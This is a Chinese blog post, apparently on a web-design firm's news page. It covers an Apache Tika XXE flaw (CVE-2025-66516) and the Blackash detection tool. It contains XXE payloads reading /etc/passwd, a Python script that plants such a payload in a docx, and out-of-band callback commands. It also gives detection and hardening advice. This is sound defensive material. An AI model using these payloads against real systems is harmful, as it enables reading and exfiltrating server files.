资讯动态

CVE-2025-66516 Apache Tika XXE漏洞与Blackash检测实战

发布时间:2026/9/12 22:58:09 来源:尧图企业网站定制
前阵子拿到一个新披露的编号CVE-2025-66516直指Apache Tika核心解析链路里的XXE问题。Tika这个库很多团队都在用尤其是做文件内容提取、文档解析中台、搜索索引预处理这类场景但它“低版本高危、高版本低危”的毛病一直不少。这次爆出来的问题出在Tika对XML类文档的内部解析上攻击者只需要想办法让Tika解析一个精心构造的Office文档或者XML文件就能触发外部实体加载轻则读取服务器本地文件重则配合外带通道把数据带出去。Blackash就是围绕这个漏洞写的检测工具。它的定位很纯粹不用你在Burp里手工构造请求、反复调参一条命令就能判断目标Tika服务是否存在XXE风险顺带验证能否实际读到文件。这篇文章我按自己的实操顺序来写从漏洞原理讲到工具落地最后附上排查经验和修复建议。不管你是安全工程师、运维还是刚好被分到这个组件维护的研发应该都能从中拿到可用的东西。1. 先搞懂CVE-2025-66516到底打在哪1.1 XXE漏洞的本质解析器信任了不该信的东西XXE全称是XML External Entity也就是XML外部实体注入。理解它之前先回忆一下XML里的实体是什么。实体就像一种变量声明在DTD文档类型定义里定义在XML文档中通过实体名;来引用。比如!DOCTYPE foo [ !ENTITY xxe hello world ] rootxxe;/root解析这个XML时xxe;会被替换成“hello world”。这本身没毛病问题是XML规范还允许实体指向一个外部资源包括本地文件路径和远程URL!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] rootxxe;/root如果解析器照单全收xxe;就会变成/etc/passwd的内容。攻击者能控制XML内容解析器又愿意加载外部实体那就等于把服务器文件系统打开了一个口子。它跟其他漏洞不太一样的地方在于问题不在业务代码而在底层解析库的默认配置。很多语言内置的XML解析器为了兼容历史行为默认允许加载外部实体。业务代码只是调用了parse()但实际上整个读取过程已经被攻击者劫持了。拿二维码来类比你扫了一个二维码本以为是加好友结果它跳转到了一串配置文件读取请求。二维码没问题扫码枪也没问题问题是扫码策略太宽松。XXE的危害程度取决于两个因素一是解析结果有没有回显有回显直接读文件就行二是没有回显时能不能通过外部请求把数据带出来这就要靠外带通道OOB了。CVE-2025-66516能引起关注主要是因为它同时覆盖了这两种利用场景。1.2 Apache Tika为什么栽在XXE上Apache Tika是一个内容解析工具包它的核心能力是“给我一个文件我告诉你是谁、里面有什么”。它能识别上千种格式从PDF、Word、Excel到图片元数据然后统一抽取成纯文本。很多内容中台、全文检索系统、在线文档预览服务都在用Tika做底层解析。Tika的解析流程大致是先做类型检测Detector识别文件真实格式然后根据格式选择对应的Parser解析器最后把解析结果交给上层。这条链路本身设计得很优雅问题出在解析器对XML派生物的信任上。Office 2007之后的文件格式.docx、.xlsx、.pptx本质是ZIP压缩包里面塞了一堆XML文件。Tika解析这些格式时不可避免要经过XML解析这一环。如果某条解析路径上使用的XML解析器开启了外部实体解析那么攻击者构造一个恶意XML塞进docx里Tika就会中招。CVE-2025-66516核心问题就在这里Tika在解析某些XML类文档分支时对外部实体的处理策略不够严格导致攻击者构造的恶意文件能被解析器处理。这比直接传一个恶意XML文件隐蔽得多。现实业务里绝大多数上传接口是允许传docx、xlsx的很多安全设备也只盯着可执行文件或常见脚本后缀一个表面正常的Office文档很容易穿透过滤。这也是CVE-2025-66516能引起我注意的原因它的触发入口太日常了。2. Blackash工具的设计思路2.1 为什么不用现成扫描器非要写专用工具看到一个新漏洞第一反应是找现成工具。我试过用一些通用XXE检测脚本去碰Tika效果不太理想问题主要出在三个方面通用脚本大多直接发送XML payload但Tika实际处理的是ZIP容器内的XML绕了一层很多脚本根本没把恶意XML打包进Office文件。部分脚本只检测有没有400/500报错可Tika解析失败返回的异常信息跟XXE触发后的表现很难区分误报率极高。现成工具很难覆盖新的CVE细节比如Tika某个特定格式的解析路径触发的行为差异。Blackash之所以值得用是因为它针对CVE-2025-66516做了定制用例生成、请求发送、外带接收、结果判定一条龙完成。尤其是恶意样本生成这块它直接在工具内部完成docx文件的构造和打包你不用自己去翻规范拼XML。2.2 核心检测流程Blackash的检测思路可以拆成两条线一条是兼容性探测。先发一个不含恶意行为的普通解析请求确认目标Tika服务确实在线、确实能正常解析文件。这一步决定了后续结果可不可信如果目标服务本身解析就报错后面检测结果没法参考。另一条是利用探测。工具生成包含外部实体声明的恶意文件然后根据配置选择检测方式回显模式在XML里引用file:///etc/passwd或Windows下的C:\Windows\win.ini然后把解析返回内容跟已知文件特征做匹配。匹配上了就是实锤。外带模式OOB在XML里引用http://your-server/xxe-test同时工具自带一个轻量HTTP接收端只要目标服务器发起请求接收端记下请求日志就证明外部实体加载生效了。工具整体用Python 3.8开发依赖库很少核心就是requests、flask用来起接收端、python-docx用来生成Office测试样本。目录结构也简单核心模块就三个一个负责生成payload样本一个负责请求调度和结果比对一个负责起外带接收服务。交互上全部走命令行参数方便脚本化批量跑也方便集成到CI流水线里。3. 落地实操用Blackash做一次完整检测3.1 搭建本地漏洞环境没有靶场一切检测都是空谈。我在本地用Docker起了一个Tika服务版本选择了受影响的2.x系列。启动命令很简单docker run -d -p 9998:9998 --name tika-vul apache/tika:2.9.0Tika的默认服务端口是9998暴露到宿主机方便访问。启动后用/version接口确认服务状态curl http://127.0.0.1:9998/version如果返回版本号说明Tika正常起来了。再写一个最简单的解析请求确认文件上传解析链路没毛病echo test content test.txt curl -X PUT --upload-file test.txt http://127.0.0.1:9998/tika返回“test content”就说明解析服务在正常工作。3.2 手动构造一个带XXE的docx样本工具本身会自己生成恶意样本但理解样本的结构会让你更好地判断检测结果。docx文件本质上是一个ZIP包里面包含word/document.xml这样的核心XML文件。制造恶意docx的办法很简单正常生成一个docx然后解包往word/document.xml的XML声明后面塞DTD再重新打包。我用Python脚本完成整个流程import zipfile import shutil import os src_docx normal.docx out_docx malicious.docx # 第一步解压原docx extract_dir docx_extracted if os.path.exists(extract_dir): shutil.rmtree(extract_dir) os.makedirs(extract_dir) with zipfile.ZipFile(src_docx) as zf: zf.extractall(extract_dir) document_path os.path.join(extract_dir, word, document.xml) with open(document_path, r, encodingutf-8) as f: content f.read() # 第二步注入XXE payload payload ?xml version1.0 encodingUTF-8? !DOCTYPE document [ !ENTITY xxe SYSTEM file:///etc/passwd ] # 把原始XML声明替换成带DTD声明的版本 if content.startswith(?xml): # 去掉原有声明 content content.split(?, 1)[1] content payload content else: content payload content with open(document_path, w, encodingutf-8) as f: f.write(content) # 第三步重新打包成docx with zipfile.ZipFile(out_docx, w, zipfile.ZIP_DEFLATED) as zf: for root_dir, _, files in os.walk(extract_dir): for file in files: full_path os.path.join(root_dir, file) rel_path os.path.relpath(full_path, extract_dir) zf.write(full_path, rel_path) print(f[*] 恶意样本已生成: {out_docx})关键点在于重新打包时ZIP条目名必须使用相对路径不能带绝对路径否则Word或Tika会把它当成非法文件拒绝解析。我第一次写打包逻辑时偷懒直接用了绝对路径结果样本发出去Tika直接报了“not a valid office document”。3.3 执行Blackash检测命令环境就绪开始跑工具。以最常见的两个场景为例。场景一仅确认是否存在XXE风险。用外带检测模式先在本机起接收端再让目标Tika解析恶意文件python3 blackash.py --url http://127.0.0.1:9998/tika \ --mode oob \ --listen 0.0.0.0 \ --port 8080 \ --file-type docx命令逻辑是让工具向目标Tika发送一个恶意docx其中XML实体指向http://your-server-ip:8080/oob-test。如果Tika存在XXE漏洞它解析docx时就会向接收端发起HTTP请求。终端里会实时打出接收日志只要看到访问记录出现基本就是漏洞实锤了。场景二确认能否读取本地文件用回显模式python3 blackash.py --url http://127.0.0.1:9998/tika \ --mode echo \ --read-file /etc/passwd工具返回内容里如果包含root:x:0:0:这类特征串就说明不仅存在XXE而且还能直接读到服务器系统文件。这种情况下风险级别已经不是“疑似”了而是“可被直接利用”。3.4 检测结果的判定标准很多人在这一步容易踩坑Tika返回了一段大文本里面有各种乱码和元信息怎么判断到底有没有读到文件我的经验是分三步走先看状态码。正常情况下Tika解析成功会返回200如果返回500或422说明文件被解析器拒绝这种情况要看具体错误信息不能直接认定是漏洞。再看返回内容中是否包含目标文件特征。比如读/etc/passwd出现root:开头的行就是命中读Windows的C:\Windows\win.ini出现[fonts]就是命中。最后看响应时间。XXE触发后通常伴随便秘的文件读取或外部请求响应时间会比正常文件慢不少可以作为辅助判断维度。Blackash的结果输出会把这三类信息合并展示状态码、命中特征、响应耗时。看到“200 命中特征 响应时间异常”基本可以写报告了。4. 常见问题与排查技巧实录4.1 误报是怎么产生的用Blackash检测时最容易遇到的一种误报场景是工具返回“OOB请求已收到”但实际上这个请求不是Tika发出的而是某个中间环节的缓存代理提前拉取了资源。我在一次内网检测中就遇过这种鬼情况排查了半天才发现是内网的一台Web缓存服务器把恶意URL抢先访问了一遍导致接收端收到了请求但来源IP完全不对。解决办法是OOB回调地址里带上唯一标记比如http://your-server:8080/unique-token-12345。接收端对比回调URL里的token和当前检测任务下发的token是否一致一致才算有效命中。Blackash默认就是这么设计的但如果你自己写脚本做验证一定要加上这个机制。还有一个容易误判的场景回显模式匹配特征过于宽泛。比如你搜root恰好Tika返回的元数据里包含“root”这个词就会误判为XXE成功。推荐用更精确的文件指纹做匹配/etc/passwd就匹配root:x:0:0这种带UID格式的串而不是只匹配root。4.2 为什么能外带请求但读不到文件内容实际检测中经常出现拿不到数据的情况外部请求成功发出说明XXE确实触发了但读不到文件内容。这个问题通常出在两个方面。第一file://协议在目标Java环境中受到安全策略限制。Tika本身跑在JVM里JDK对file://协议访问本地文件有一套权限控制某些部署环境下会直接拒绝但拒绝行为并不影响HTTP外部实体请求的发出。这也就解释了为什么OOB成功但文件读取失败。第二Windows环境下文件路径格式跟Linux不同默认payload里写的是/etc/passwd放到Windows服务器上当然读不到东西。遇到这种情况换用file:///C:/Windows/win.ini再试一次往往就有结果了。碰到Windows目标时最好把两种路径都测一遍。4.3 修复建议不要只升版本还要改配置CVE-2025-66516的官方修复策略是升级到修复版本。Tika这类基础组件一旦出安全问题影响面通常很广所以第一时间升级补丁是必须动作。但这里我要多说两句不要以为升完版本就万事大吉。Tika大量功能依赖底层解析库单单升Tika版本可能会引入兼容性问题。最佳实践是把升级拆成两步走先在测试环境把Tika升级到修复版本跑一遍自己的文档解析回归用例重点关注Office文档和PDF解析是否正常。上线前对Tika做一次配置加固在XML解析器工厂层面禁止外部实体解析。比如在Tika的自定义ParserConfig里加上安全解析器的初始化逻辑把http://apache.org/xml/features/disallow-doctype-decl设为true同时关闭external-general-entities和external-parameter-entities特性。如果团队没有Java定制能力退而求其次的做法是把Tika部署在内网外部上传的文件先经过格式校验和杀毒再用Tika解析缩小暴露面。这些措施治标但有效在补丁完全覆盖前至少能压住风险。5. 检测方案横向对比Blackash、手工测试与通用扫描器为了更直观地说明Blackash的定位我整理了一张工具对比表都是实际用过的方案对比维度Blackash手工Burp测试通用XXE扫描器恶意样本生成内置一键生成docx/xlsx等需要自己解包、改XML、重新打包大多仅支持直接发送XML不支持Office封装OOB接收端内置需要自己起nc或HTTP服务部分支持但配置繁琐漏洞特征匹配针对Tika返回结构优化靠人眼识别通用规则误报率高批量检测能力支持URL列表批量跑基本不支持部分支持上手门槛命令行10分钟上手门槛高需要理解Tika内部结构中等但针对性差从表格能看出Blackash最大优势是针对性。它不是为了检测“所有XXE”而存在而是为了检测“CVE-2025-66516在Apache Tika上的表现”而存在。如果你所在公司刚好用了Tika这套工具的价值就很直接扫描速度快结果判定标准统一报告可以直接拿去做漏洞复核。但我也要说清楚它的局限。专有工具必然没有通用扫描器覆盖面广它只覆盖Tika相关场景。如果你的业务里还有其他XML解析组件比如自研的文件上传服务、第三方CMS的XML导入功能那Blackash帮不上忙还是得用通用方案排查一遍。5.1 实际业务场景里怎么选结合几种常见场景我给出自己的选型建议场景一公司用的是Spring Boot Tika搭建的内容解析服务。这种情况直接把Blackash跑进CI流水线每次Tika依赖升级后自动触发一轮检测能极大降低回归风险。场景二安全团队在做季度漏洞扫描。建议把Blackash结果作为专项漏洞证据附在报告里再配合通用扫描器覆盖其他组件两套结果合在一起才完整。场景三个人研究学习想理解XXE利用原理。Blackash适合做验证工具但建议还是自己手工构造一次恶意样本这样对docx结构和XML实体机制的理解会更透彻。5.2 工具还能怎么扩展Blackash本身是个命令行工具但它的检测能力可以很方便地嵌入其他流程。我改造过一个内部版本把检测逻辑封装成HTTP接口放在内网安全平台上任何业务团队都可以通过简单的POST请求发起一次Tika专项检测。核心改动就是把异常处理和结果序列化做得更规范一些其他逻辑基本不用动。另外工具生成的恶意样本其实也可以用在防御侧的验证上比如验证WAF对docx类型上传的检测能力。把Blackash生成的样本丢给WAF看它能不能识别出XML实体注入特征这等于把一个进攻工具拿来当防守测试的数据生成器用。6. 我踩过的一些坑最后分享一下写这篇文章时我又把Blackash在几种环境里完整跑了一遍重新体会了一遍那些年踩过的坑。最折腾的是docx重新打包的兼容性问题。Office文档对ZIP条目顺序和[Content_Types].xml有严格限制手工打包稍微不注意就会导致Tika直接报错。如果你是用Blackash倒是没这个问题它内部处理好了。但如果想自己写脚本做验证务必记住解压后不要改[Content_Types].xml重新打包时保持原有目录结构不要在ZIP里添加多余层级。另一个体会是Tika服务在Windows和Linux上跑解析同一份恶意样本的表现可能不一样。跟Tika本身没关系跟JVM版本和操作系统对文件路径的权限策略有关系。检测时务必要在跟生产环境一致的操作系统上验证否则可能出现测试环境验证通过、生产环境不触发或者反过来生产环境能读到东西而测试环境读不到的偏差。最后工具永远只是辅助理解漏洞原理才是根本。CVE-2025-66516这类问题本质上是“信任边界”没守住。代码里的信任边界一旦模糊攻击者就有机会把数据从服务器内部带出来。做检测的人多一层思考写代码的人多一分警惕这套系统才能更结实一些。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价